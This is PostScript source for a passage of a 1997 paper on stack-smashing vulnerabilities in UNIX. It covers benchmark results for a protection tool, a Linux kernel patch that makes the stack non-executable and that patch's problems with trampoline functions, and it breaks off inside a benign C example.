; 586 506 N M 6 106 rr : 0 0 0 sco O ; 4412 506 N M 6 106 rr : 0 0 0 sco O ; 586 612 N M 6 98 rr : 0 0 0 sco O ; 4412 612 N M 6 98 rr : 0 0 0 sco O ; : 511 500 3982 1008 rc 0 0 0 sco F2_83 Ji 912 714 M -0.032 0 ( nfib \(dumb doubly-recursive Fibonacci\): no slowdown.)A ; 586 710 N M 6 98 rr : 0 0 0 sco O ; 4412 710 N M 6 98 rr : 0 0 0 sco O ; : 511 500 3982 1008 rc 0 0 0 sco F2_83 Ji 912 812 M 0.013 0 ( Execution time: same.)A ; 586 808 N M 6 98 rr : 0 0 0 sco O ; 4412 808 N M 6 98 rr : 0 0 0 sco O ; : 511 500 3982 1008 rc 0 0 0 sco F2_83 Ji 912 910 M -0.073 0 ( Compile-time: slowdown of 3 \(very small\))A ; 586 906 N M 6 98 rr : 0 0 0 sco O ; 4412 906 N M 6 98 rr : 0 0 0 sco O ; : 511 500 3982 1008 rc 0 0 0 sco F2_83 Ji 912 1008 M 0.037 0 ( Executable size: much larger due to inclusion of library.)A ; 586 1004 N M 6 98 rr : 0 0 0 sco O ; 4412 1004 N M 6 98 rr : 0 0 0 sco O ; : 511 500 3982 1008 rc 0 0 0 sco F2_83 Ji 912 1106 M -0.021 0 ( Matrix multiply \(ikj, using array subscription\):)A ; 586 1102 N M 6 98 rr : 0 0 0 sco O ; 4412 1102 N M 6 98 rr : 0 0 0 sco O ; : 511 500 3982 1008 rc 0 0 0 sco F2_83 Ji 912 1204 M 0.019 0 ( Execution time: slowdown of around 30 compared to unoptimised.)A ; 586 1200 N M 6 98 rr : 0 0 0 sco O ; 4412 1200 N M 6 98 rr : 0 0 0 sco O ; : 511 500 3982 1008 rc 0 0 0 sco F2_83 Ji 912 1302 M -0.017 0 ( Compile-time: slowdown of around 2.)A ; 586 1298 N M 6 98 rr : 0 0 0 sco O ; 4412 1298 N M 6 98 rr : 0 0 0 sco O ; : 511 500 3982 1008 rc 0 0 0 sco F2_83 Ji 912 1400 M 0.013 0 ( Executable size: roughly the same.)A ; 586 1502 N M 6 6 rr : 0 0 0 sco O ; 586 1502 N M 6 6 rr : 0 0 0 sco O ; 592 1502 N M 3820 6 rr : 0 0 0 sco O ; 4412 1502 N M 6 6 rr : 0 0 0 sco O ; 4412 1502 N M 6 6 rr : 0 0 0 sco O ; 586 1396 N M 6 106 rr : 0 0 0 sco O ; 4412 1396 N M 6 106 rr : 0 0 0 sco O ; LH savelevel1 restore pagesave restore (%%[ Page: 27 ]%%) = %%PageTrailer %%Page: 28 28 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (28)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 612 504 M 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (t)A -0.400 0 (e)A 12.000 0 32 (d und)W -0.400 0 (e)A 12.300 0 32 -0.300 0 (r )D 0.100 0 (s)A (u)S -0.400 0 (c)A 13.000 0 32 (h )W 13.400 0 32 -0.400 0 (a )D (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 12.800 0 32 0.200 0 (l )D -0.200 0 (w)A (ou)S 0.200 0 (l)A 13.000 0 32 (d h)W -0.400 0 (a)A (v)S 13.400 0 32 -0.400 0 (e )D 0.200 0 (it)A 12.900 0 32 0.100 0 (s s)D 0.200 0 (t)A -0.400 0 (ac)A 13.000 0 32 (k p)W -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 12.900 0 32 0.100 0 (s )D -0.400 0 (a)A 0.200 0 (l)A 0.100 0 (s)A 13.000 0 32 (o )W 0.200 0 (m)A -0.400 0 (a)A -0.300 0 (r)A (k)S -0.400 0 (e)A 13.000 0 32 (d non)W -0.300 0 (-)A -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 13.000 0 32 (. )W 0.400 0 (S)A 0.200 0 (t)A -0.400 0 (ac)A (k)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 681 M 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 4.000 0 32 -1.000 0 (g )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 2.900 0 32 0.100 0 (s )D (d)S -0.400 0 (e)A (p)S -0.400 0 (e)A 3.000 0 32 (nd on )W -0.400 0 (a)A 4.000 0 32 (n )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A 4.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 4.000 0 32 (k )W -0.200 0 (w)A (h)S -0.400 0 (e)A 4.000 0 32 (n )W -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A (n)S 0.200 0 (i)A (n)S 5.000 0 32 -1.000 0 (g )D (b)S -0.400 0 (ac)A 4.000 0 32 (k )W 0.200 0 (i)A (n)S 0.200 0 (t)A 4.000 0 32 (o )W 4.400 0 32 -0.400 0 (a )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 7.000 0 32 -3.000 0 (y )D -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (ss)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 858 M -0.200 0 (w)A (h)S 0.200 0 (i)A -0.400 0 (c)A 12.000 0 32 (h )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (e)A 11.900 0 32 0.100 0 (s )D -0.400 0 (a)A 12.000 0 32 (n )W 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (ac)A 0.200 0 (ti)A (v)S 12.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (h)S -0.400 0 (e)A 0.200 0 (ll)A 12.000 0 32 (. )W -0.700 0 (B)A 16.000 0 32 -3.000 0 (y )D -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (m)A (ov)S 0.200 0 (i)A (n)S 14.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 0.200 0 (i)A 12.900 0 32 0.100 0 (s )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S -0.400 0 (a)A 0.200 0 (lit)A 16.000 0 32 -3.000 0 (y )D -0.300 0 (fr)A (o)S 12.800 0 32 0.200 0 (m t)D (h)S 13.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 13.000 0 32 (, )W 0.100 0 (s)A (o)S 0.200 0 (m)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1035 M -0.061 0 (stack smashing vulnerabilities can be stopped.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 1212 M 19.200 0 32 -0.200 0 (A )D (p)S -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (c)A 19.000 0 32 (h )W -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (m)A (ov)S 0.200 0 (i)A (n)S 20.000 0 32 -1.000 0 (g )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 19.000 0 32 (k )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 19.000 0 32 (on p)W -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 0.100 0 (ss)A 0.200 0 (i)A 19.000 0 32 (on )W -0.200 0 (w)A -0.400 0 (a)A 18.900 0 32 0.100 0 (s )D -0.200 0 (w)A -0.300 0 (r)A 0.200 0 (itt)A -0.400 0 (e)A 19.000 0 32 (n )W -0.300 0 (f)A (o)S 20.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S 20.400 0 32 -0.400 0 (e )D -2.100 0 (L)A 0.200 0 (i)A (nu)S 19.000 0 32 1.000 0 (x )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1389 M 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 14.800 0 32 0.200 0 (m )D (b)S 18.000 0 32 -3.000 0 (y )D 0.100 0 (s)A (o)S 0.200 0 (m)A -0.400 0 (e)A (on)S 15.400 0 32 -0.400 0 (e )D -1.000 0 (g)A (o)S 0.200 0 (i)A (n)S 16.000 0 32 -1.000 0 (g )D (on)S 0.200 0 (l)A 18.000 0 32 -3.000 0 (y )D (b)S 18.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S 15.400 0 32 -0.400 0 (e a)D 0.200 0 (li)A -0.400 0 (a)A 14.900 0 32 0.100 0 (s )D ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F5) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F5_100) cvn F5 100 xF F5_100 Ji 2462 1389 M (So)S 0.200 0 (l)A (a)S 14.900 0 32 0.100 0 (r )D -0.200 0 (D)A -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (i)A (gn)S -0.400 0 (e)A 0.100 0 (r)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3085 1389 M 15.000 0 32 ( on )W 0.200 0 (t)A (h)S 15.400 0 32 -0.400 0 (e )D -2.300 0 (I)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 0.200 0 (t)A (.)S 0.700 0 ([)A (7)S 14.300 0 32 0.700 0 (] )D -0.100 0 (T)A (h)S 0.200 0 (i)A 14.900 0 32 0.100 0 (s )D (p)S -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (c)A (h)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1566 M 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S -0.400 0 (e)A 5.000 0 32 (d )W -0.400 0 (c)A (h)S -0.400 0 (a)A (n)S -1.000 0 (g)A 0.200 0 (i)A (n)S 6.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 5.400 0 32 -0.400 0 (e )D (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 0.200 0 (l)A -0.300 0 (\222)A 4.900 0 32 0.100 0 (s )D -0.400 0 (c)A (od)S 5.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (m)A -0.400 0 (e)A (n)S 4.800 0 32 0.200 0 (t limit )D (u)S 0.100 0 (s)A 0.200 0 (i)A (n)S 6.000 0 32 -1.000 0 (g )D 6.400 0 32 -0.400 0 (a )D (n)S -0.400 0 (e)A 6.200 0 32 -0.200 0 (w )D (d)S -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (c)A -0.300 0 (r)A 0.200 0 (i)A (p)S 0.200 0 (t)A (o)S -0.300 0 (r)A 6.000 0 32 (, )W 0.100 0 (s)A 6.000 0 32 (o )W 0.200 0 (t)A (h)S -0.400 0 (a)A 5.800 0 32 0.200 0 (t it )D (do)S -0.400 0 (e)A 5.900 0 32 0.100 0 (s )D (no)S 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1743 M -0.400 0 (c)A (ov)S -0.400 0 (e)A 14.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S 14.400 0 32 -0.400 0 (e ac)D 0.200 0 (t)A (u)S -0.400 0 (a)A 13.800 0 32 0.200 0 (l )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 14.000 0 32 (k )W 0.100 0 (s)A (p)S -0.400 0 (ace)A 14.000 0 32 (, )W -0.400 0 (e)A -0.300 0 (ff)A -0.400 0 (ec)A 0.200 0 (ti)A (v)S -0.400 0 (e)A 0.200 0 (l)A 17.000 0 32 -3.000 0 (y )D -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (m)A (ov)S 0.200 0 (i)A (n)S 15.000 0 32 -1.000 0 (g )D 0.200 0 (it)A 13.900 0 32 0.100 0 (s s)D 0.200 0 (t)A -0.400 0 (ac)A 14.000 0 32 (k )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 14.000 0 32 (on p)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 14.000 0 32 (. )W -0.300 0 (\()A ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 4018 1743 M 0.200 0 (f)A (o)S 14.900 0 32 0.100 0 (r )D (So)S 0.200 0 (l)A (a)S 0.100 0 (r)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 612 1920 M -0.200 0 (D)A -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (i)A (gn)S -0.400 0 (e)A 0.100 0 (r)A -0.300 0 (\222)A 3.900 0 32 0.100 0 (s )D -0.400 0 (c)A (o)S -0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (t)A 4.400 0 32 -0.400 0 (e )D (pa)S 0.200 0 (t)A -0.400 0 (c)A 4.000 0 32 (h, )W 0.100 0 (s)A 4.400 0 32 -0.400 0 (ee )D -0.100 0 (A)A (pp)S -0.400 0 (e)A (nd)S 0.200 0 (i)A 4.400 0 32 -0.400 0 (x )D 0.300 0 (C)A -1.300 0 (\))A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2405 1920 M 4.000 0 32 ( )W -0.200 0 (A)A 3.900 0 32 0.100 0 (s )D 4.400 0 32 -0.400 0 (a )D (p)S -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (c)A 4.000 0 32 (h )W 0.200 0 (t)A (h)S -0.400 0 (a)A 3.800 0 32 0.200 0 (t i)D 3.900 0 32 0.100 0 (s )D (no)S 3.800 0 32 0.200 0 (t )D (d)S 0.200 0 (i)A -0.300 0 (ff)A 0.200 0 (i)A -0.400 0 (c)A (u)S 3.800 0 32 0.200 0 (lt t)D 4.000 0 32 (o )W -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A 4.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (n)S 0.200 0 (t)A 5.000 0 32 (o )W -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2097 M (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 2.800 0 32 0.200 0 (l )D -0.400 0 (a)A 3.000 0 32 (nd )W 0.200 0 (t)A -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (t)A 3.000 0 32 (, on)W 3.400 0 32 -0.400 0 (e )D 0.200 0 (m)A (u)S 0.100 0 (s)A 2.800 0 32 0.200 0 (t )D (b)S 3.400 0 32 -0.400 0 (e a)D -0.200 0 (w)A -0.400 0 (a)A -0.300 0 (r)A 3.400 0 32 -0.400 0 (e )D (o)S 3.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e )D (po)S 0.200 0 (t)A -0.400 0 (e)A (n)S 0.200 0 (ti)A -0.400 0 (a)A 2.800 0 32 0.200 0 (l )D (d)S 0.200 0 (i)A -0.300 0 (ff)A 0.200 0 (i)A -0.400 0 (c)A (u)S 0.200 0 (lti)A -0.400 0 (e)A 3.900 0 32 0.100 0 (s )D -0.200 0 (w)A 0.200 0 (it)A 4.000 0 32 (h )W 0.200 0 (t)A (h)S 0.200 0 (i)A 3.900 0 32 0.100 0 (s )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (t)A 4.000 0 32 (hod. )W -0.600 0 (F)A 0.200 0 (i)A -0.300 0 (r)A 0.100 0 (s)A 0.200 0 (t)A 4.000 0 32 (, )W ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 4137 2097 M (n)S -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A (d)S ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 612 2274 M 0.200 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 27.000 0 32 (on )W -0.400 0 (c)A (a)S 0.200 0 (ll)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1181 2274 M 27.000 0 32 ( o)W -0.300 0 (r)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 1316 2274 M 27.000 0 32 ( )W 0.200 0 (t)A 0.100 0 (r)A (a)S -0.200 0 (m)A (po)S 0.200 0 (li)A (n)S 27.400 0 32 -0.400 0 (e )D 0.200 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2226 2274 M 27.000 0 32 ( do no)W 27.800 0 32 0.200 0 (t )D -0.200 0 (w)A (o)S -0.300 0 (r)A 28.000 0 32 (k p)W -0.300 0 (r)A (op)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (l)A 31.000 0 32 -3.000 0 (y )D -0.200 0 (w)A 0.200 0 (it)A 28.000 0 32 (h p)W -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (c)A (h)S -0.400 0 (e)A 28.000 0 32 (d k)W -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 0.200 0 (l)A 0.100 0 (s)A 28.000 0 32 (. )W -0.200 0 (A)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2451 M -0.019 0 (example of a trampoline function is as follows:)A ; LH savelevel1 restore pagesave restore (%%[ Page: 28 ]%%) = %%PageTrailer %%Page: 29 29 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (29)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1775 4650 M 0.014 0 (Example 11.3.a - Trampoline Function in C)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 912 4925 M -0.100 0 (T)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A (po)S 0.200 0 (li)A (n)S 9.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 8.900 0 32 0.100 0 (s )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A 9.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 9.000 0 32 (on )W -0.400 0 (c)A (od)S 9.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (o)S 9.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S -0.400 0 (a)A 8.800 0 32 0.200 0 (t )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 9.000 0 32 (on )W -0.400 0 (a)A -0.300 0 (f)A 0.200 0 (t)A -0.400 0 (e)A 9.300 0 32 -0.300 0 (r )D 9.400 0 32 -0.400 0 (a )D -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A (n)S 10.300 0 32 -0.300 0 (\(\) )D -0.400 0 (ca)A 9.800 0 32 0.200 0 (ll )D (h)S -0.400 0 (a)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5102 M (b)S -0.400 0 (ee)A 3.000 0 32 (n )W -1.000 0 (g)A 0.200 0 (i)A (v)S -0.400 0 (e)A 3.000 0 32 (n. )W 0.100 0 (M)A (o)S 0.100 0 (s)A 2.800 0 32 0.200 0 (t )D (bu)S -0.300 0 (ff)A -0.400 0 (e)A 3.300 0 32 -0.300 0 (r )D (ov)S -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S 3.200 0 32 -0.200 0 (w )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 2.800 0 32 0.200 0 (it )D -0.400 0 (c)A (od)S 3.400 0 32 -0.400 0 (e )D (d)S -0.400 0 (e)A (p)S -0.400 0 (e)A (nd)S 2.900 0 32 0.100 0 (s )D 4.000 0 32 (on )W 0.200 0 (t)A (h)S 0.200 0 (i)A 3.900 0 32 0.100 0 (s )D -1.000 0 (')A 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A (po)S 0.200 0 (li)A (n)S -0.400 0 (e)A 5.000 0 32 -1.000 0 (' )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 4.000 0 32 (on o)W 4.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 4.400 0 32 -0.400 0 (e )D 0.300 0 (C)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5279 M (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 31.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 30.000 0 32 (, )W 0.200 0 (i)A 30.000 0 32 (n )W -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (iti)A (n)S 31.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 30.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A 30.000 0 32 (n v)W -0.400 0 (a)A 0.200 0 (l)A (u)S 30.400 0 32 -0.400 0 (e )D (o)S 30.300 0 32 -0.300 0 (f )D 30.400 0 32 -0.400 0 (a )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 30.000 0 32 (on. )W -0.200 0 (H)A 0.200 0 (i)A -1.000 0 (g)A 30.000 0 32 (h )W 0.200 0 (l)A -0.400 0 (e)A (v)S -0.400 0 (e)A 29.800 0 32 0.200 0 (l )D -2.100 0 (L)A -2.300 0 (I)A 0.400 0 (SP)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5456 M -0.046 0 (interpreters and objective C compilers also make extensive use of trampoline functions.)A ; : 511 500 3982 4146 rc 0 0 0 sco %%IncludeFont: Courier (F5) cvn 0.791 (Courier) cvn /Type1 T (Courier) cvn mF (F5_67) cvn F5 67 xF F5_67 Ji 612 514 M -0.200 0 (include )A ; 586 500 N M 6 6 rr : 0 0 0 sco O ; 586 500 N M 6 6 rr : 0 0 0 sco O ; 592 500 N M 3820 6 rr : 0 0 0 sco O ; 4412 500 N M 6 6 rr : 0 0 0 sco O ; 4412 500 N M 6 6 rr : 0 0 0 sco O ; 586 506 N M 6 79 rr : 0 0 0 sco O ; 4412 506 N M 6 79 rr : 0 0 0 sco O ; 586 585 N M 6 71 rr : 0 0 0 sco O ; 4412 585 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 656 M -0.200 0 ( int)A ; 586 656 N M 6 71 rr : 0 0 0 sco O ; 4412 656 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 727 M -0.200 0 ( g \(int a, int b, int \(*gi\) \(int, int\)\))A ; 586 727 N M 6 71 rr : 0 0 0 sco O ; 4412 727 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 798 M -0.200 0 ( {)A ; 586 798 N M 6 71 rr : 0 0 0 sco O ; 4412 798 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 869 M -0.200 0 ( printf \("Inside g, a = %d, b = %d, gi = 0x%.8lx\\n", a, b, \(long\)gi\);)A ; 586 869 N M 6 71 rr : 0 0 0 sco O ; 4412 869 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 940 M -0.200 0 ( fflush \(stdout\);)A ; 586 940 N M 6 71 rr : 0 0 0 sco O ; 4412 940 N M 6 71 rr : 0 0 0 sco O ; 586 1011 N M 6 71 rr : 0 0 0 sco O ; 4412 1011 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 1082 M -0.200 0 ( if \(\(*gi\) \(a, b\)\))A ; 586 1082 N M 6 71 rr : 0 0 0 sco O ; 4412 1082 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 1153 M -0.200 0 ( return a;)A ; 586 1153 N M 6 71 rr : 0 0 0 sco O ; 4412 1153 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 1224 M -0.200 0 ( else)A ; 586 1224 N M 6 71 rr : 0 0 0 sco O ; 4412 1224 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 1295 M -0.200 0 ( return b;)A ; 586 1295 N M 6 71 rr : 0 0 0 sco O ; 4412 1295 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 1366 M -0.200 0 ( })A ; 586 1366 N M 6 71 rr : 0 0 0 sco O ; 4412 1366 N M 6 71 rr : 0 0 0 sco O ; 586 1437 N M 6 71 rr : 0 0 0 sco O ; 4412 1437 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 1508 M -0.200 0 ( void)A ; 586 1508 N M 6 71 rr : 0 0 0 sco O ; 4412 1508 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 1579 M -0.200 0 ( f \(void\))A ; 586 1579 N M 6 71 rr : 0 0 0 sco O ; 4412 1579 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 1650 M -0.200 0 ( {)A ; 586 1650 N M 6 71 rr : 0 0 0 sco O ; 4412 1650 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 1721 M -0.200 0 ( int i, j;)A ; 586 1721 N M 6 71 rr : 0 0 0 sco O ; 4412 1721 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 1792 M -0.200 0 ( int f2 \(int a, int b\))A ; 586 1792 N M 6 71 rr : 0 0 0 sco O ; 4412 1792 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 1863 M -0.200 0 ( {)A ; 586 1863 N M 6 71 rr : 0 0 0 sco O ; 4412 1863 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 1934 M -0.200 0 ( printf \("Inside f2, a = %d, b = %d\\n", a, b\);)A ; 586 1934 N M 6 71 rr : 0 0 0 sco O ; 4412 1934 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 2005 M -0.200 0 ( fflush \(stdout\);)A ; 586 2005 N M 6 71 rr : 0 0 0 sco O ; 4412 2005 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 4146 rc 0 0 0 sco F5_67 Ji 612 